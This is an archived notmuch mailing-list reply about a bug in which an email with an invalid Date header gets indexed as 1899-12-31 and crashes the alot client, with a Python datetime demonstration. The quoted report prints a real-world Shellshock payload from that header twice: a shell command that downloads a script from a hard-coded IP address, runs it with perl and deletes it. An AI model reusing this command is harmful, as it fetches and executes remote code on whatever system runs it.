unofficial mirror of notmuch@notmuchmail.org
 help / color / mirror / code / Atom feed
From: Tomi Ollila <tomi.ollila@iki.fi>
To: Johannes Schauer <j.schauer@email.de>, notmuch@notmuchmail.org
Subject: Re: bug: notmuch cannot handle invalid Date fields
Date: Wed, 22 Apr 2015 16:37:15 +0300	[thread overview]
Message-ID: <m2vbgo8et0.fsf@guru.guru-group.fi> (raw)
In-Reply-To: <20150422065630.6330.90536@hoothoot>

On Wed, Apr 22 2015, Johannes Schauer <j.schauer@email.de> wrote:

> Hi,
>
> I recently received an email with the following date field (the value of all
> other headers is the same):
>
> Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;
>
> When doing `notmuch search lwp-download` I get:
>
> thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread)
>
> You can see that the date is 1899-12-31 which is wrong.
>
> This is annoying because the python module datetime which is for example used
> by the notmuch client alot cannot handle dates before the year 1900 and will
> thus never show this email in its thread view but instead display an exception
> every time the view is refreshed.

What do you mean by that datetime cannot handle dates before 1900 ?

:  $ python
:  Python 2.7.6 (default, Mar 22 2014, 22:59:56)
:  ...
:  >>> datetime.datetime.strptime('1799-11', '%Y-%m')
:  datetime.datetime(1799, 11, 1, 0, 0)
:  >>> x=datetime.datetime.strptime('1799-11', '%Y-%m')
:  >>> x.isoformat()
:  '1799-11-01T00:00:00'

Tomi


> It would be great if an invalid date could either somehow default to a nil
> value or be a date that is 1900 or later.
>
> Thanks!
>
> cheers, josch

  reply	other threads:[~2015-04-22 13:37 UTC|newest]

Thread overview: 9+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2015-04-22  6:56 bug: notmuch cannot handle invalid Date fields Johannes Schauer
2015-04-22 13:37 ` Tomi Ollila [this message]
2015-04-22 13:42   ` Johannes Schauer
2017-03-12  1:38 ` David Bremner
2017-03-12 12:51 ` [PATCH 1/2] lib: add known broken test for parsing bad dates David Bremner
2017-03-12 12:51   ` [PATCH 2/2] lib: clamp return value of g_mime_utils_header_decode_date to >=0 David Bremner
2017-03-15 20:09     ` Tomi Ollila
2017-03-16  1:16     ` David Bremner
2017-03-19 12:31 ` bug: notmuch cannot handle invalid Date fields David Bremner

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

  List information: https://notmuchmail.org/

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=m2vbgo8et0.fsf@guru.guru-group.fi \
    --to=tomi.ollila@iki.fi \
    --cc=j.schauer@email.de \
    --cc=notmuch@notmuchmail.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
Code repositories for project(s) associated with this public inbox

	https://yhetil.org/notmuch.git/

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).